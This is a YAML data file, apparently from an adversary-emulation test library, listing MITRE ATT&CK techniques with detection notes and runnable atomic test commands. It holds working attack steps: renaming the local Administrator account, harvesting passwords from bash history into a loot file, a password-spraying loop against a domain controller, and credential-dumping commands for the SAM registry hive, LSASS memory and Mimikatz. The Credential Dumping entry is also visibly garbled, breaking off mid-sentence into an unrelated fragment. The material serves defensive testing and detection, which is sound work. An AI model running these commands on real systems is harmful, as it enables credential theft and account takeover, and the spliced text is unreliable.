Monitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-05-31T21:30:21.315Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: discovery
external_references:
- external_id: T1007
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1007
- source_name: capec
external_id: CAPEC-574
url: https://capec.mitre.org/data/definitions/574.html
modified: '2019-08-12T19:54:54.167Z'
identifier: T1007
atomic_tests:
- name: System Service Discovery
description: 'Identify system services
'
supported_platforms:
- windows
input_arguments:
service_name:
description: Name of service to start stop, query
type: string
default: svchost.exe
executor:
name: command_prompt
elevation_required: true
command: |
tasklist.exe
sc query
sc query state= all
sc start #{service_name}
sc stop #{service_name}
wmic service where (displayname like "#{service_name}") get name
- name: System Service Discovery - net.exe
description: 'Enumerates started system services using net.exe and writes them
to a file. This technique has been used by multiple threat actors.
'
supported_platforms:
- windows
input_arguments:
output_file:
description: Path of file to hold net.exe output
type: Path
default: C:\Windows\Temp\service-list.txt
executor:
name: command_prompt
elevation_required: false
command: 'net.exe start >> #{output_file}
'
T1124:
technique:
x_mitre_data_sources:
- Process monitoring
- Process command-line parameters
- API monitoring
x_mitre_permissions_required:
- User
name: System Time Discovery
description: |-
The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)
An adversary may gather the system time and/or time zone from a local or remote system. This information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing net time \\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz. (Citation: Technet Windows Time Service) The information could be useful for performing other techniques, such as executing a file with a [Scheduled Task](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting.
id: attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: Command-line interface monitoring may be useful to detect
instances of net.exe or other command-line utilities being used to gather
system time or time zone. Methods of detecting API use for gathering this
information are likely less useful due to how often they may be used by legitimate
software.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-05-31T21:31:37.450Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: discovery
external_references:
- external_id: T1124
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1124
- source_name: capec
external_id: CAPEC-295
url: https://capec.mitre.org/data/definitions/295.html
- source_name: MSDN System Time
description: Microsoft. (n.d.). System Time. Retrieved November 25, 2016.
url: https://msdn.microsoft.com/ms724961.aspx
- source_name: Technet Windows Time Service
description: Mathers, B. (2016, September 30). Windows Time Service Tools
and Settings. Retrieved November 25, 2016.
url: https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings
- source_name: RSA EU12 They're Inside
description: Rivner, U., Schwartz, E. (2012). They’re Inside… Now What?. Retrieved
November 25, 2016.
url: https://www.rsaconference.com/writable/presentations/file_upload/ht-209_rivner_schwartz.pdf
modified: '2019-06-18T14:07:20.239Z'
identifier: T1124
atomic_tests:
- name: System Time Discovery
description: 'Identify the system time
'
supported_platforms:
- windows
input_arguments:
computer_name:
description: computer name to query
type: string
default: computer1
executor:
name: command_prompt
elevation_required: false
command: |
net time \\#{computer_name}
w32tm /tz
- name: System Time Discovery - PowerShell
description: 'Identify the system time via PowerShell
'
supported_platforms:
- windows
executor:
name: powershell
elevation_required: false
command: 'Get-Date
'
credential-access:
T1098:
technique:
x_mitre_permissions_required:
- Administrator
x_mitre_data_sources:
- Authentication logs
- API monitoring
- Windows event logs
- Packet capture
name: Account Manipulation
description: |-
Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, modifying credentials, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to subvert password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.
### Exchange Email Account Takeover
The Add-MailboxPermission PowerShell cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission) This command can be run, given adequate permissions, to further access granted to certain user accounts. This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)
### Azure AD
In Azure, an adversary can set a second password for Service Principals, facilitating persistence.(Citation: Blue Cloud of Death)
### AWS
AWS policies allow trust between accounts by simply identifying the account name. It is then up to the trusted account to only allow the correct roles to have access.(Citation: Summit Route Advanced AWS policy auditing)
id: attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27
x_mitre_platforms:
- Windows
- Office 365
- Azure
- GCP
- Azure AD
- AWS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '2.0'
x_mitre_system_requirements:
- 'Exchange email account takeover: Sufficient permission to run the Add-MailboxPermission
PowerShell cmdlet (depending on parameters used, may require more permission)'
type: attack-pattern
x_mitre_detection: |-
Collect events that correlate with changes to account objects on systems and the domain, such as event ID 4738.(Citation: Microsoft User Modified Event) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017)
Use of credentials may also occur at unusual times or to unusual systems or services and may correlate with other suspicious activity.
Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts.
A larger volume of emails sent from an account than normal and the discovery of similar phishing emails being sent from real accounts within a network may be signs that an account may have been compromised and attempts to leverage access with modified email permissions is occurring.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Jannie Li, Microsoft Threat Intelligence Center (MSTIC)
- Praetorian
- Tim MalcomVetter
created: '2017-05-31T21:31:12.196Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: credential-access
- kill_chain_name: mitre-attack
phase_name: persistence
external_references:
- source_name: mitre-attack
external_id: T1098
url: https://attack.mitre.org/techniques/T1098
- description: Microsoft. (n.d.). Add-Mailbox Permission. Retrieved September
13, 2019.
source_name: Microsoft - Add-MailboxPermission
url: https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps
- description: 'Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending
O365. Retrieved September 13, 2019.'
source_name: Bienstock, D. - Defending O365 - 2019
url: https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365
- description: 'Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming
Azure. Retrieved October 23, 2019.'
source_name: Blue Cloud of Death
url: https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1
- description: Piper, Scott. (2019, April 3). Advanced AWS policy auditing -
Confused deputies with AWS services. Retrieved October 23, 2019.
source_name: Summit Route Advanced AWS policy auditing
url: https://summitroute.com/blog/2019/04/03/advanced_aws_policy_auditing_confused_deputies_with_aws_services/
- description: 'Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account
was changed. Retrieved June 30, 2017.'
source_name: Microsoft User Modified Event
url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738
- source_name: InsiderThreat ChangeNTLM July 2017
description: Warren, J. (2017, July 11). Manipulating User Passwords with
Mimikatz. Retrieved December 4, 2017.
url: https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM
- source_name: GitHub Mimikatz Issue 92 June 2017
description: 'Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm
work, but generate Windows events #92. Retrieved December 4, 2017.'
url: https://github.com/gentilkiwi/mimikatz/issues/92
modified: '2019-10-23T14:49:39.188Z'
identifier: T1098
atomic_tests:
- name: Admin Account Manipulate
description: 'Manipulate Admin Account Name
'
supported_platforms:
- windows
executor:
name: powershell
elevation_required: true
command: |
$x = Get-Random -Minimum 2 -Maximum 9999
$y = Get-Random -Minimum 2 -Maximum 9999
$z = Get-Random -Minimum 2 -Maximum 9999
$w = Get-Random -Minimum 2 -Maximum 9999
Write-Host HaHaHa_$x$y$z$w
$hostname = (Get-CIMInstance CIM_ComputerSystem).Name
$fmm = Get-CimInstance -ClassName win32_group -Filter "name = 'Administrators'" | Get-CimAssociatedInstance -Association win32_groupuser | Select Name
foreach($member in $fmm) {
if($member -like "*Administrator*") {
Rename-LocalUser -Name $member.Name -NewName "HaHaHa_$x$y$z$w"
Write-Host "Successfully Renamed Administrator Account on" $hostname
}
}
T1139:
technique:
x_mitre_permissions_required:
- User
x_mitre_data_sources:
- File monitoring
- Process monitoring
- Process command-line parameters
name: Bash History
description: 'Bash keeps track of the commands users type on the command-line
with the "history" utility. Once a user logs out, the history is flushed to
the user’s .bash_history file. For each user, this file resides
at the same location: ~/.bash_history. Typically, this file keeps
track of the user’s last 500 commands. Users often type usernames and passwords
on the command-line as parameters to programs, which then get saved to this
file when they log out. Attackers can abuse this by looking through the file
for potential credentials. (Citation: External to DA, the OS X Way)'
id: attack-pattern--44dca04b-808d-46ca-b25f-d85236d4b9f8
x_mitre_platforms:
- Linux
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: Monitoring when the user's .bash_history is
read can help alert to suspicious activity. While users do typically rely
on their history of commands, they often access this history through other
utilities like "history" instead of commands like cat ~/.bash_history.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-12-14T16:46:06.044Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: credential-access
external_references:
- external_id: T1139
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1139
- source_name: External to DA, the OS X Way
description: Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to
DA, the OS X Way. Retrieved July 3, 2017.
url: http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way
modified: '2019-07-16T19:54:57.273Z'
identifier: T1139
atomic_tests:
- name: Search Through Bash History
description: 'Search through bash history for specifice commands we want to
capture
'
supported_platforms:
- linux
- macos
input_arguments:
bash_history_filename:
description: Path of the bash history file to capture
type: Path
default: "~/.bash_history"
bash_history_grep_args:
description: grep arguments that filter out specific commands we want to
capture
type: Path
default: "-e '-p ' -e 'pass' -e 'ssh'"
output_file:
description: Path where captured results will be placed
type: Path
default: "~/loot.txt"
executor:
name: sh
command: 'cat #{bash_history_filename} | grep #{bash_history_grep_args} >
#{output_file}
'
T1110:
technique:
x_mitre_permissions_required:
- User
x_mitre_data_sources:
- Office 365 account logs
- Authentication logs
name: Brute Force
description: |-
Adversaries may use brute force techniques to attempt access to accounts when passwords are unknown or when password hashes are obtained.
[Credential Dumping](https://attack.mitre.org/techniques/T1003) is used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1075) is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network. (Citation: Wikipedia Password cracking)
Adversaries may attempt to brute force logins without knowledge of passwords or hashes during an operation either with zero knowledge or by attempting a list of known or possible passwords. This is a riskier option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)
A related technique called password spraying uses one password (e.g. 'Password01'), or a small list of passwords, that matches the complexity policy of the domain and may be a commonly used password. Logins are attempted with that password and many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)
Typically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:
* SSH (22/TCP)
* Telnet (23/TCP)
* FTP (21/TCP)
* NetBIOS / SMB / Samba (139/TCP & 445/TCP)
* LDAP (389/TCP)
* Kerberos (88/TCP)
* RDP / Terminal Services (3389/TCP)
* HTTP/HTTP Management Services (80/TCP & 443/TCP)
* MSSQL (1433/TCP)
* Oracle (1521/TCP)
* MySQL (3306/TCP)
* VNC (5900/TCP)
In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)
In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625.
id: attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd
x_mitre_platforms:
- Linux
- macOS
- Windows
- Office 365
- Azure AD
- SaaS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '2.0'
type: attack-pattern
x_mitre_detection: "It is difficult to detect when hashes are cracked, since
this is generally done outside the scope of the target network. \n\nMonitor
authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078).
If authentication failures are high, then there may be a brute force attempt
to gain access to a system using legitimate credentials.\n\nAlso monitor for
many failed authentication attempts across various accounts that may result
from password spraying attempts.\n\nFor password spraying consider the following(Citation:
Trimarc Detecting Password Spraying):\n\n* Domain Controllers: \"Audit Logon\"
(Success & Failure) for event ID 4625.\n* Domain Controllers: \"Audit Kerberos
Authentication Service\" (Success & Failure) for event ID 4771.\n* All systems:
\"Audit Logon\" (Success & Failure) for event ID 4648."
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Microsoft Threat Intelligence Center (MSTIC)
- John Strand
- Ed Williams, Trustwave, SpiderLabs
created: '2017-05-31T21:31:22.767Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: credential-access
external_references:
- external_id: T1110
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1110
- source_name: capec
external_id: CAPEC-49
url: https://capec.mitre.org/data/definitions/49.html
- source_name: Wikipedia Password cracking
description: Wikipedia. (n.d.). Password cracking. Retrieved December 23,
2015.
url: https://en.wikipedia.org/wiki/Password_cracking
- source_name: Cylance Cleaver
description: Cylance. (2014, December). Operation Cleaver. Retrieved September
14, 2017.
url: https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf
- source_name: BlackHillsInfosec Password Spraying
description: Thyer, J. (2015, October 30). Password Spraying & Other Fun with
RPCCLIENT. Retrieved April 25, 2017.
url: http://www.blackhillsinfosec.com/?p=4645
- description: US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted
by Cyber Actors. Retrieved October 2, 2019.
source_name: US-CERT TA18-068A 2018
url: https://www.us-cert.gov/ncas/alerts/TA18-086A
- description: 'Metcalf, S. (2018, May 6). Trimarc Research: Detecting Password
Spraying with Security Event Auditing. Retrieved January 16, 2019.'
source_name: Trimarc Detecting Password Spraying
url: https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing
modified: '2019-10-09T20:58:13.919Z'
identifier: T1110
atomic_tests:
- name: Brute Force Credentials
description: 'Creates username and password files then attempts to brute force
on remote host
'
supported_platforms:
- windows
input_arguments:
input_file_users:
description: Path to a file containing a list of users that we will attempt
to brute force
type: Path
default: DomainUsers.txt
input_file_passwords:
description: Path to a file containing a list of passwords we will attempt
to brute force with
type: Path
default: passwords.txt
remote_host:
description: Hostname of the target system we will brute force upon
type: String
default: "\\\\COMPANYDC1\\IPC$"
domain:
description: Domain name of the target system we will brute force upon
type: String
default: YOUR_COMPANY
executor:
name: command_prompt
elevation_required: false
command: |
net user /domain > #{input_file_users}
echo "Password1" >> #{input_file_passwords}
echo "1q2w3e4r" >> #{input_file_passwords}
echo "Password!" >> #{input_file_passwords}
@FOR /F %n in (#{input_file_users}) DO @FOR /F %p in (#{input_file_passwords}) DO @net use #{remote_host} /user:#{domain}\%n %p 1>NUL 2>&1 && @echo [*] %n:%p && @net use /delete #{remote_host} > NUL
'':
technique:
x_mitre_data_sources:
- API monitoring
- Process monitoring
- Kernel drivers
x_mitre_permissions_required:
- Administrator
- SYSTEM
name: Two-Factor Authentication Interception
description: |-
Use of two- or multifactor authentication is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. Adversaries may target authentication mechanisms, such as smart cards, to gain access to systems, services, and network resources.
If a smart card is used for two-factor authentication (2FA), then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)
Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)
Other methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)
id: attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49
x_mitre_platforms:
- Linux
- Windows
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
x_mitre_system_requirements:
- |-
Smart card Proxy: Use of smart cards for single or multifactor authentication to access to network resources. Attached smart card reader with card inserted.
Out-of-band one-time code: Access to the device, service, or communications to intercept the one-time code.
Hardware token: Access to the seed and algorithm of generating one-time codes.
type: attack-pattern
x_mitre_detection: |-
Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.
Similar to [Input Capture](https://attack.mitre.org/techniques/T1056), keylogging activity can take various forms but can may be detected via installation of a driver, setting a hook, or usage of particular API calls associated with polling to intercept keystrokes.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- John Lambert, Microsoft Threat Intelligence Center
created: '2017-05-31T21:31:23.195Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: credential-access
external_references:
- external_id: T1111
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1111
- source_name: Mandiant M Trends 2011
description: Mandiant. (2011, January 27). Mandiant M-Trends 2011. Retrieved
January 10, 2016.
url: https://dl.mandiant.com/EE/assets/PDF_MTrends_2011.pdf
- source_name: GCN RSA June 2011
description: Jackson, William. (2011, June 7). RSA confirms its tokens used
in Lockheed hack. Retrieved September 24, 2018.
url: https://gcn.com/articles/2011/06/07/rsa-confirms-tokens-used-to-hack-lockheed.aspx
- description: Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding
Holes Operation Emmental. Retrieved February 9, 2016.
source_name: Operation Emmental
url: http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf
modified: '2019-06-21T16:38:57.913Z'
atomic_tests: []
T1003:
technique:
x_mitre_data_sources:
- API monitoring
- Process monitoring
- PowerShell logs
- Process command-line parameters
x_mitre_permissions_required:
- Administrator
- SYSTEM
- root
name: Credential Dumping
description: "Credential dumping is the process of obtaining account login and
password information, normally in the form of a hash or a clear text password,
from the operating system and software. Credentials can then be used to perform Lateral
Movement and access restricted information.\n\nSeveral of the tools mentioned
in this technique may be used by both adversaries and professional security
testers. Additional custom tools likely exist as well.\n\n### Windows\n\n####
SAM (Security Accounts Manager)\n\nThe SAM is a database file that contains
local accounts for the host, typically those found with the ‘net user’ command.
To enumerate the SAM database, system level access is required.\n \nA number
of tools can be used to retrieve the SAM file through in-memory techniques:\n\n*
pwdumpx.exe \n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n*
secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry
with [Reg](https://attack.mitre.org/software/S0075):\n\n* reg save HKLM\\sam
sam\n* reg save HKLM\\system system\n\nCreddump7 can then
be used to process the SAM database locally to retrieve hashes. (Citation:
GitHub Creddump7)\n\nNotes:\nRid 500 account is the local, in-built administrator.\nRid
501 is the guest account.\nUser accounts start with a RID of 1,000+.\n\n####
Cached Credentials\n\nThe DCC2 (Domain Cached Credentials version 2) hash,
used by Windows Vista and newer caches credentials when the domain controller
is unavailable. The number of default cached credentials varies, and this
number can be altered per system. This hash does not allow pass-the-hash style
attacks.\n \nA number of tools can be used to retrieve the SAM file through
in-memory techniques.\n\n* pwdumpx.exe \n* [gsecdump](https://attack.mitre.org/software/S0008)\n*
[Mimikatz](https://attack.mitre.org/software/S0002)\n\nAlternatively, reg.exe
can be used to extract from the Registry and Creddump7 used to gather the
credentials.\n\nNotes:\nCached credentials for Windows Vista are derived using
PBKDF2.\n\n#### Local Security Authority (LSA) Secrets\n\nWith SYSTEM access
to a host, the LSA secrets often allows trivial access from a local account
to domain-based account credentials. The Registry is used to store the LSA
secrets.\n \nWhen services are run under the context of local or domain users,
their passwords are stored in the Registry. If auto-logon is enabled, this
information will be stored in the Registry as well.\n \nA number of tools
can be used to retrieve the SAM file through in-memory techniques.\n\n* pwdumpx.exe
\n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n*
secretsdump.py\n\nAlternatively, reg.exe can be used to extract from the Registry
and Creddump7 used to gather the credentials.\n\nNotes:\nThe passwords extracted
by his mechanism are UTF-16 encoded, which means that they are returned in plaintext.\nWindows
10 adds protections for LSA Secrets described in Mitigation.\n\n#### NTDS
from Domain Controller\n\nActive Directory stores information about members
of the domain including devices and users to verify credentials and define
access rights. The Active Directory domain database is stored in the NTDS.dit
file. By default the NTDS file will be located in %SystemRoot%\\NTDS\\Ntds.dit
of a domain controller. (Citation: Wikipedia Active Directory)\n \nThe following
tools and techniques can be used to enumerate the NTDS file and the contents
of the entire Active Directory hashes.\n\n* Volume Shadow Copy\n* secretsdump.py\n*
Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy\n\n####
Group Policy Preference (GPP) Files\n\nGroup Policy Preferences (GPP) are
tools that allowed administrators to create domain policies with embedded
credentials. These policies, amongst other things, allow administrators to
set local accounts.\n\nThese group policies are stored in SYSVOL on a domain
controller, this means that any domain user can view the SYSVOL share and
decrypt the password (the AES private key was leaked on-line. (Citation: Microsoft
GPP Key) (Citation: SRD GPP)\n\nThe following tools and scripts can be used
to gather and decrypt the password file from Group Policy Preference XML files:\n\n*
Metasploit’s post exploitation module: \"post/windows/gather/credentials/gpp\"\n*
Get-GPPPassword (Citation: Obscuresecurity Get-GPPPassword)\n* gpprefdecrypt.py\n\nNotes:\nOn
the SYSVOL share, the following can be used to enumerate potential XML files.\ndir
/s * .xml\n\n#### Service Principal Names (SPNs)\n\nSee [Kerberoasting](https://attack.mitre.org/techniques/T1208).\n\n####
Plaintext Credentials\n\nAfter a user logs on to a system, a variety of credentials
are generated and stored in the Local Security Authority Subsystem Service (LSASS)
process in memory. These credentials can be harvested by a administrative
user or SYSTEM.\n\nSSPI (Security Support Provider Interface) functions as
a common interface to several Security Support Providers (SSPs): A Security
Support Provider is a dynamic-link library (DLL) that makes one or more security
packages available to applications.\n\nThe following SSPs can be used to access
credentials:\n\nMsv: Interactive logons, batch logons, and service logons
are done through the MSV authentication package.\nWdigest: The Digest Authentication
protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple
Authentication Security Layer (SASL) exchanges. (Citation: TechNet Blogs Credential
Protection)\nKerberos: Preferred for mutual client-server domain authentication
in Windows 2000 and later.\nCredSSP: Provides SSO and Network Level Authentication for Remote
Desktop Services. (Citation: Microsoft CredSSP)\n \nThe following tools can
be used to enumerate credentials:\n\n* [Windows Credential Editor](https://attack.mitre.org/software/S0005)\n*
[Mimikatz](https://attack.mitre.org/software/S0002)\n\nAs well as in-memory
techniques, the LSASS process memory can be dumped from the target host and
analyzed on a local system.\n\nFor example, on the target host use procdump:\n\n*
procdump -ma lsass.exe lsass_dump\n\nLocally, mimikatz can be
run:\n\n* sekurlsa::Minidump lsassdump.dmp\n* sekurlsa::logonPasswords\n\n####
DCSync\n\nDCSync is a variation on credential dumping which can be used to
acquire sensitive information from a domain controller. Rather than executing
recognizable malicious code, the action works by abusing the domain controller's
\ application programming interface (API) (Citation: Microsoft DRSR Dec 2017)
(Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine
API samlib.dll) to simulate the replication process from a remote domain controller.
Any members of the Administrators, Domain Admins, Enterprise Admin groups
or computer accounts on the domain controller are able to run DCSync to pull
password data (Citation: ADSecurity Mimikatz DCSync) from Active Directory,
which may include current and historical hashes of potentially useful accounts
such as KRBTGT and Administrators. The hashes can then in turn be used to
create a Golden Ticket for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1097)
(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as
noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098).
(Citation: InsiderThreat ChangeNTLM July 2017) DCSync functionality has been
included in the \"lsadump\" module in Mimikatz. (Citation: GitHub Mimikatz
lsadump Module) Lsadump also includes NetSync, which performs DCSync over
a legacy replication protocol. (Citation: Microsoft NRPC Dec 2017)\n\n###
Linux\n\n#### Proc filesystem\n\nThe /proc filesystem on Linux contains a
great deal of information regarding the state of the running operating system.
Processes running with root privileges can use this facility to scrape live
memory of other running programs. If any of these programs store passwords
in clear text or password hashes in memory, these values can then be harvested
for either usage or brute force attacks, respectively. This functionality
has been implemented in the [MimiPenguin](https://attack.mitre.org/software/S0179),
an open source tool inspired by [Mimikatz](https://attack.mitre.org/software/S0002).
The tool dumps process memory, then harvests passwords and hashes by looking
for text strings and regex patterns for how given applications such as Gnome
Keyring, sshd, and Apache use memory to store such authentication artifacts."
id: attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22
x_mitre_platforms:
- Windows
- Linux
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.1'
type: attack-pattern
x_mitre_detection: "### Windows\nMonitor for unexpected processes interacting
with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from
Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002)
access the LSA Subsystem Service (LSASS) process by opening the process, locating
the LSA secrets key, and decrypting the sections in memory where credential
details are stored. Credential dumpers may also use methods for reflective
[Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential
indicators of malicious activity.\n\nHash dumpers open the Security Accounts
Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM)
or create a dump of the Registry SAM key to access stored account password
hashes. Some hash dumpers will open the local file system as a device and
parse to the SAM table to avoid file access defenses. Others will make an
in-memory copy of the SAM table before reading hashes. Detection of compromised
[Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries
may help as well. \n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows
Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor
processes and command-line arguments for program execution that may be indicative
of credential dumping. Remote access tools may contain built-in features or
incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002).
[PowerShell](https://attack.mitre.org/techniques/T1086) scripts also exist
that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz
module, (Citation: Powersploit) which may require additional logging features
to be configured in the operating system to collect necessary information
for analysis.\n\nMonitor domain controller logs for replication requests and
other unscheduled activity possibly associated with DCSync. (Citation: Microsoft
DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI)
Note: Domain controllers may not log replication requests originating from
the default domain controller account. (Citation: Harmj0y DCSync Sept 2015).
Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation:
Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft
SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity
DCSync Sept 2015)\n\n### Linux\nTo obtain the passwords and hashes stored
in memory, processes must open a maps file in the /proc filesystem for the
process being analyzed. This file is stored under the path /proc//maps,
where the reg query HKLM /f password /t REG_SZ /s
* Current User Hive: reg query HKCU /f password /t REG_SZ /s
id: attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
x_mitre_system_requirements:
- Ability to query some Registry locations depends on the adversary's level
of access. User permissions are usually limited to access of user-related
Registry keys.
type: attack-pattern
x_mitre_detection: Monitor processes for applications that can be used to query
the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and
collect command parameters that may indicate credentials are being searched.
Correlate activity with related suspicious behavior that may indicate an active
intrusion to reduce false positives.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Sudhanshu Chauhan, @Sudhanshu_C
created: '2018-04-18T17:59:24.739Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
